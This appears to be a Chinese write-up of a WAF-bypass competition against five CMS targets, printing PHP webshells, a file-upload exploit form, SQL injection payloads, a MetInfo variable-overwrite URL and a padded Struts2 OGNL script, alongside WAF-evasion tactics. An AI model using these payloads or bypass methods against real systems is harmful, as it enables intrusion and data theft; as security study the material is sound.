【干货】记一次WAF对抗赛详解&全方位绕过WAF

0x01 preview

上个星期参加了某巨头厂商承办的挑战赛,比赛周期48小时,题目是成功渗透在安全宝保护下的五个通用cms靶场,其中包括论坛、商城、资源网站

从靶场布置来看很明显是在测试安全宝对于几种不同类型cms的对攻击的防御能力。

这样的比赛模式区别于常见的CTF线上模式稍有不同,实战味道较强。常规的CTF在Web题目上面主要考察的是漏洞挖掘和利用,难点一般凸显在发现难和利用
难。而此次靶场中的环境在网上都能找到相关公开漏洞,利用方式较简单,但是我对抗的目标不是存在漏洞的web应用,而是对其起保护作用的WAF

0x02 浅析云waf

抱歉,这里一个实战经验极乏、安全资历尚浅初涉小白在这里浅析WAF机制,实在是难于弄笔。这里主要参考(抄袭)Drops上 MayIKissYou 大牛之前总结的《Bypass WAF Cookbook》

这是直接盗的图,与对手博弈,我们首先得知道我们得对手处于我们数据流的哪一环节。

MayIKissYou 这里将我们进行测试时的payload从发起到抵达服务器参与运算的整个周期拓扑图画了出来。

可知,waf主要是针对我们传输的数据进行了检测。这就导致 我们的payload既要满足触发web应用本身漏洞的条件,也要具备同事绕过waf检测和web应用本身一些安全检测的能力。

web应用层面的安全检测我们大多都还能有所了解,包括关键字的检测,过滤,正则匹配等等。在绕过上之前也有相当多的资料,这里我们主要就此次比赛的一些体会简单谈谈我对waf相较于web应用本身安全机制的一些优势。

web应用本身的安全检测对恶意输入的检测效能远远不及waf,从功能划分的角度来说,web应用的主要工作是处理用户输入的数据,为了本身的安全 性可以针对用户的输入进行一定的成本较低的检测,保证用户使用的友好性,尤其是在大型数据系统中,没时刻处理的数据量极大,对于web应用本身是不可能花 太大的精力对数据进行较为完整的检测。

但是我认为web应用本身有一个很好的特点就是可以针对相应参数的作用进行白名单形式的限制,进行有针对性的过滤。 但是waf若能很好地拦截下恶意攻击,web应用就能把资源花在处理正常请求上对于web应用的运行再好不过。

云waf给人带来的直观感受是其极强的感知能力,对手活了起来,见招拆招。传统安全设备受限于单机计算资源,主要采取的工作模式是基于特征匹配的过 滤。云资源让waf具备了人工智能的特征,充分利用云计算信息同步,计算能力强大的特点,运用大数据分析,机器学习等思想到waf中,waf具备了一定的 学习分析能力,攻击成本明显提高不少。对抗这样的对手,不得不说是人灵活的思想在和计算机的计算进行对抗。

0x03 题目解析

当然,这次比赛到没上面说的那么玄乎,但是依稀能感觉到在未来攻防会是数据、计算、智能的对抗。

这次比赛是五个靶场,每个靶场都有两个flag,一个位于服务器目录,一个位于数据库中。集中测试对于命令代码执行和sql命令的防御。

五道题的攻击思想基本大同小异,皆是抓住了目前云waf的防御劣势进行的绕过。下面我们来看具体详情。

3.1:dedecms

dedecms这道题的解决思路是通过后台弱口令,获取后台权限,再通过file_manage_main.php这处文件管理模块,生成了畸形可解析的pht扩展名脚本,在里面写入了代码:


1

2

3

4

<?php[/color]

[color=#000000]system(@_POST[cmd]);[/color]

[color=#000000]?>[/color]

[color=#000000]

通过pwd,ls,grep,cat等指令进行的flag.txt获取。现在看似思路简单,但是当时还是绕了好一会。

回想我们上面提到的云waf检测在payload发出到服务器上相应内存注销的整个生命周期的位置,我们可知,其分析行为主要是对我们流量数据的检测,而不是服务器上行为的检测。那么我们提交的参数要满足的条件就是在特征模式识别下“不敏感”,在能实现我们功能要求的情况下尽量短小和平常,计算上面的任务尽量交给服务器。

在这里我们可以发现若是使用一句话菜刀会连不上,sql语句注入也会被拦截,都是因为这样的payload特征明显,特征明显容易被拦截。所以这里采用的system()结合pwd,ls,grep,cat等对于flag文件查找方便的函数和命令,把更多的计算直接交给服务器。

file_manage_main.php界面

拿到文件flag之后想办法拿数据库的flag,这里的想法是读config文件,可是直接用文件管理模块读取不了,现在一想不一定是权限问题,若是我作为waf设计者,会对访问config.php文件相当警惕,因为这是很危险且不正常的行为,所以采取的措施是将其扩展名改为txt直接访问查看,这样敏感度低了不少,拿到数据库信息之后,通过adminer.php连接管理数据库拿到数据库中的flag。

一开始其实计划是使用navicat,加他的中转php脚本实现本地对内网数据库的访问。但是在上传脚本之后,本地连接能连接上但是执行指令很困难。这也在预料之后,因为我们所用通过http过去的数据都会经过云waf,所以我采用了上传adminer.php,在这个工具下发起的请求是由服务器本机发起的,不会经过云waf,故而未被拦截。

当然在这之前我们已经通过文件管理模块将adminer.php的代码写入了其中。

这道题主要的突破点还是在于管理的疏忽弱口令,或者说是数据爆破,和利用web应用本身的功能,上传adminer.php这样的工具,让流量从服务器本地发起,不经云waf的检测。

3.2:phpoa

这道题是分值最低的一道题,因此成了对抗赛CTF中常见的搅屎现象最恶劣的一道题。是的,依稀记得当时正准备写另一份内网渗透报告,做得相当心疼。

存在的漏洞是一个任意文件上传

利用方法是本地构造一表单


1

2

3

4

5

6

7

8

9

10

11

12

13

<html>

<head></head>

<body>

        <form action="http://localhost/phpoa/ntko/upLoadOfficeFile.php" method="post" enctype="multipart/form-data">

 

                <input type="file" name="upLoadFile"><br/>

 

                <input type="file" name="attachFile"><br/>

 

                <input type="submit" value="submit">

        </form>

</body>

</html>

将action参数进行修改之后按照wooyun那篇文章的步骤遍可以进行上传,获得Webshell。

但是再这样的一个实时对抗的马场上,控守倒是变得比较困难。一般我们在线下CTF中控守,一般使用内存驻留的木马,和计划任务等进行控守,避免文件被杀之后失去控制权。

不过这个靶场有一个特点是禁用了很多php函数,期初上传了一个b374k上去之后发现登录都成问题。遂放弃使用php来执行功能,朴朴素素上传


1

2

3

<?php

system($_POST[cmd]);

?>

通过系统命令来实现我们的功能。控守策略,由于发现服务器端搅屎脚本貌似效率不高,我们上传的后门存活时间有几秒左右,决定使用资源竞争的方法,不停地想服务器发送同样的数据包,文件被删之后立马就能补充上,不影响正常操作。

通过burpsuite多线程对服务器发送同一包,维持Webshell的生命

(自己yy的重复发包方法,后来发现有专门的选项。非常尴尬!)

这道题利用简单,主要是搅屎的比较多,需要一些策略。存在的一种思想是计算资源的对抗。

3.3:mallbuilder

这个cms一堆sql注入漏洞,布尔盲注较多,若要取出flag势必要构造select column from database.tables这样的语句,这样的语句穿透防火墙难度实在太大了,中间试了很多绕过方法都没通过。

当然传过去的参数进入了云waf的检测目标能通过的概率极低。陈羽森老师在15年阿里峰会上《永别了sql注入》中就提到,检测机制采用机器学习、语义分析思想来对参数进行检测,在这样的模式下对云waf进行绕过,远非之前针对规则的绕过难。云waf的计算能力远超老式单机防火墙。

我们的突破思路在于如何让我们的参数不要成为云waf的检测目标。这里我们采用的是,form-data的post提交方式,我们找到了一个POST的注入点,使用form-data的方式进行参数提交。这样便轻松地参数避免了检测,轻松注入。

为什么form post提交能避开检测呢?其实我对这一块了解也不深,但是就一般而言,Form-data通常用来提交文件,文件大小不一,格式不定,若是对这样的请求进行大力度的检测,虽然云计算的计算能力强,但这也是对计算资源的极大消耗,而且不同的文件结构,对于waf来说识别困难按格式分析危害更是难上加难。所以这种方式提交的参数,即使检测,检测的级别也不会太高。

所以通过form post的方法提交参数,并且在其中混入大量无影响的花数据,对抗云waf起的效果相当好。

Exp如下:


1

2

3

4

5

6

7

8

9

10

11

12

13

<!DOCTYPE html>  

<html>  

<head>  

        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />  

        <title>yzmm - p2j.cn</title>  </head>  

        <body>      

                <form action="http://mall.anquanbao.com.cn/cate_show_ajax.php?oper=ajax&call=get_cate" method="POST" enctype="multipart/form-data">          

                        funck:<input type="text" name="fuck" value="adsfadsfasdfksadfhadsjkfhkdsahfkdsahfkadshfkdsahfkjdsahfkjasdhfkajsdhfkajshfkadsfhkadshfakdsfhkdasfhkashfdkadsfhkadsfhkdasfhkdasfhakfh" /><br/>         

                        ID:<input type="text" name="catid" value="12313213131313113) and  EXP(~(SELECT*FROM(SElect name FROM mallbuilder_admin limit 1,1)a))#" style="width:250px;" / ><br/>           

                        <input type="submit" value="sub" />      

                </form>  

        </body>  

</html>

这里可注入拿到后台密码,和数据库的flag,后面是发现的后台一处命令执行拿的文件权限。漏洞网上未公开,这里就不详细公开。

3.4:MetInfo

这里这处注入,确实奇葩,也是源于该处功能的奇葩,代码审计一下。

admin/content/feedback/export.php


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

<?php[/color]

 

[color=#000000]# MetInfo Enterprise Content Management System [/color]

 

[color=#000000]# Copyright (C) MetInfo Co.,Ltd (http://**.**.**.**). All rights reserved. [/color]

 

[color=#000000]        ob_start();[/color]

 

[color=#000000]        $depth=‘../‘;[/color]

 

[color=#000000]        require_once $depth.‘../include/common.inc.php‘;[/color]

 

[color=#000000]        ob_clean();[/color]

 

[color=#000000]        ob_start();

未进行login检查


1

2

3

4

5

6

7

8

9

10

11

foreach($settings_arr as $key=>$val){

 

                if($val[‘columnid‘]==$class1){

 

                        $tingname    =$val[‘name‘].‘_‘.$val[‘columnid‘];   

 

                        $$val[‘name‘]=$$tingname;

 

                }

 

        }

此处可通过val[‘name’]进行变量覆盖,覆盖的值,可以通过对$tingname的值在url中进行定义任意构造


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

$query

 

"SELECT * FROM $met_parameter where module=8 and lang=‘$lang‘ order by no_order"

 

         

//>>>>注意,$met_parameter是在$settings_arr后被初始化的,不能直接覆盖,但是可以结合上面的危险操作,进行覆盖<<<<

 

        

//print $query.‘<br>‘;

 

        

//die();

 

        

$result

 

$db

->query(

$query

);

 

        

while

(

$list

$db

->fetch_array(

$result

)){

 

                

/*

 

                

print ‘<br><br>$list=‘;

 

                

print_r($list);

 

                

*/

 

                

$feedbackpara

[

$list

[

‘id‘

]]=

$list

;  

// 注意这里的id

 

                

$feedback_para

[]=

$list

;

 

        

}

这里结合上面 我们通过 "http://localhost/MetInfo/admin/content/feedback/export.php?met_parameter_1=met_admin_table
-- ;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter"  这样的payload便可以对任意表的id字段进行dump,我们修改met_admin_table为flag可dump出来

此处因为漏洞的原因,我们未提交带有明显攻击痕迹的payload,所以waf对于这样的逻辑类似的洞是无能为力的。

这题的文件flag未拿到,赛后同其他同学交流据说他们当时直接访问url/flag.txt便拿到了flag................非常尴尬

3.5:struts st2

用SSS安全论坛的st2检测工具直接检测出漏洞,但是想进一步进行命令执行太困难了。过不了waf,这里采用的思想同之前所说,通过post,增加混淆花数据,让服务器放弃检测。

获取命令执行paylaod的方法,一个是可以去网上搜集;另一个是通过逆向分析,从利用工具源码中逆向出paylaod,这里是用net写的,很容易便可以逆向出;还有就是用nc监听一个端口,然后用exp像监听的端口发送payload,亦可以捕获。

起初是在get中进行添加,但是发现waf会对url的长度进行检测,超长直接拦截。


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

#coding=utf-8

 

import requests

import sys

 

‘‘

author:h*a**v

‘‘

if (True):

    link "http://xxxxx/xxx.action"

    #link = "http://127.0.0.1:8080"

    l=1

 

    #test mode

    data=‘‘‘method:%23_memberAccess%[url=mailto:[email protected]][email protected][/url]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23parameters.web[0]),%23w.print(%23parameters.path[0]),%23w.print(%23path),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8&web=web&path=path%3a&test=‘‘‘

    payload="x"*10000

    data=data+payload

    proxies={"http":"http://127.0.0.1:8080"}

    #res=requests.post(link,data=data,proxies=proxies)

    res=requests.post(link,data=data)

    print res.content

以上代码说明方法,实际情况直接用上面代码打,服务器无法接收的 ,问题大家自己排除吧。

0x04
总结

上面几道过waf题的主要思想包括,通过混淆花数据消耗计算资源,减小交互功能数据量,和类似和“逻辑”漏洞的利用。主要是针对云waf设计特性的绕过,而非以往针对匹配规则进行混淆的绕过。由于水平尚浅不足之处欢迎指正,随意取笑。

时间: 2024-10-27 02:18:01

【干货】记一次WAF对抗赛详解&全方位绕过WAF的相关文章

干货----002----PHP版本与用法区别详解

PHP版本的区别与用法详解 在我们安装PHP模块时,有时需要注意PHP编译的版本,下面讲解下PHP中VC6.VC9.TS.NTS版本的区别与用法详解,介绍php的两种执行方式. 1. VC6与VC9的区别:VC6版本是使用Visual Studio 6编译器编译的,如果你的PHP是用Apache来架设的,那你就选择VC6版本. VC9版本是使用Visual Studio 2008编译器编译的,如果你的PHP是用IIS来架设的,那你就选择 VC9版本. VC9版本是针对IIS服务器的版本,没有对A

干货 | Tomcat 连接数与线程池详解

前言 在使用tomcat时,经常会遇到连接数.线程数之类的配置问题,要真正理解这些概念,必须先了解Tomcat的连接器(Connector). 在前面的文章 详解Tomcat配置文件server.xml 中写到过:Connector的主要功能,是接收连接请求,创建Request和Response对象用于和请求端交换数据:然后分配线程让Engine(也就是Servlet容器)来处理这个请求,并把产生的Request和Response对象传给Engine.当Engine处理完请求后,也会通过Conn

MySQL---笔记之视图的使用详解

什么是视图  视图是从一个或多个表中导出来的表,是一种虚拟存在的表. 视图就像一个窗口,通过这个窗口可以看到系统专门提供的数据. 这样,用户可以不用看到整个数据库中的数据,而之关心对自己有用的数据. 数据库中只存放了视图的定义,而没有存放视图中的数据,这些数据存放在原来的表中. 使用视图查询数据时,数据库系统会从原来的表中取出对应的数据. 视图中的数据依赖于原来表中的数据,一旦表中数据发生改变,显示在视图中的数据也会发生改变. 视图的作用  1.使操作简单化,可以对经常使用的查询定义一个视图,使

【腾讯优测干货分享】鹅厂专家详解Android N适配要点

Google即将发布的Android7.0的预览版Android_N为我们增加了许多新的特性,其中包括多窗口的支持.通知栏支持直接回复.网络数据节省开关.以及新的DOZE模式等:下面我们就来谈一谈关于这些新功能的适配问题和需要注意的地方. 1.Doze(打盹模式)更加强大 该模式是在Android6.0中引入的,当用户设备未插电源.处于静止状态屏幕关闭时,该模式会推迟CPU和网络活动,从而增加电池寿命. 在Android_N中对这种模式进行了加强,当设备处于充电状态且屏幕已关闭一定时间后,设备会

深入了解SQL注入绕过waf和过滤机制

知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 0x05 本文小结 0x06 参考资料 0x00 前言 笔者前几天在做测试时输入攻击向量后页面发生了重定向甚至异常输入也是重定向怀疑其中有WAF在作怪.之前对WAF接触比较少纯粹是新手趁此科普了一下并查阅了一些绕过WAF的方法.所找到的资料中主要分为两类SQL注入和XSS绕过笔者SQL注入同样是新手

【转】深入理解SQL注入绕过WAF和过滤机制

原文 http://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.html [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 本文小结 0x6 参考资料 0x0 前言 促使本文产生最初的动机是前些天在做测试时一些攻击向量被WAF挡掉了,而且遇到异常输入直接发生重定向.之前对W

深入理解SQL注入绕过WAF与过滤机制

知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 本文小结 0x6 参考资料 0x0 前言 促使本文产生最初的动机是前些天在做测试时一些攻击向量被WAF挡掉了,而且遇到异常输入直接发生重定向.之前对WAF并不太了解,因此趁此机会科普一下并查阅了一些绕过WAF的方法.网上关于绕过WAF有诸多文章,但是观察之后会发现大体上绕过WAF的方法就那八.九种,

SQL注入之绕过WAF和Filter

知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 本文小结 0x6 参考资料 0x0 前言 网上关于绕过WAF有诸多文章,但是观察之后会发现大体上绕过WAF的方法就那八.九种,而且这些技术出来也有些日子了,继续使用这些方法是否有效有待于我们在实际中去验证.看过数篇绕过WAF的文章后,前人对技术的总结已经比较全面,但是完整的内容可能分布在各处,查阅起

深入了解SQL注入绕过waf和过滤机制(转)

知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 0x05 本文小结 0x06 参考资料 0x00 前言 笔者前几天在做测试时输入攻击向量后页面发生了重定向甚至异常输入也是重定向怀疑其中有WAF在作怪.之前对WAF接触比较少纯粹是新手趁此科普了一下并查阅了一些绕过WAF的方法.所找到的资料中主要分为两类SQL注入和XSS绕过笔者SQL注入同样是新手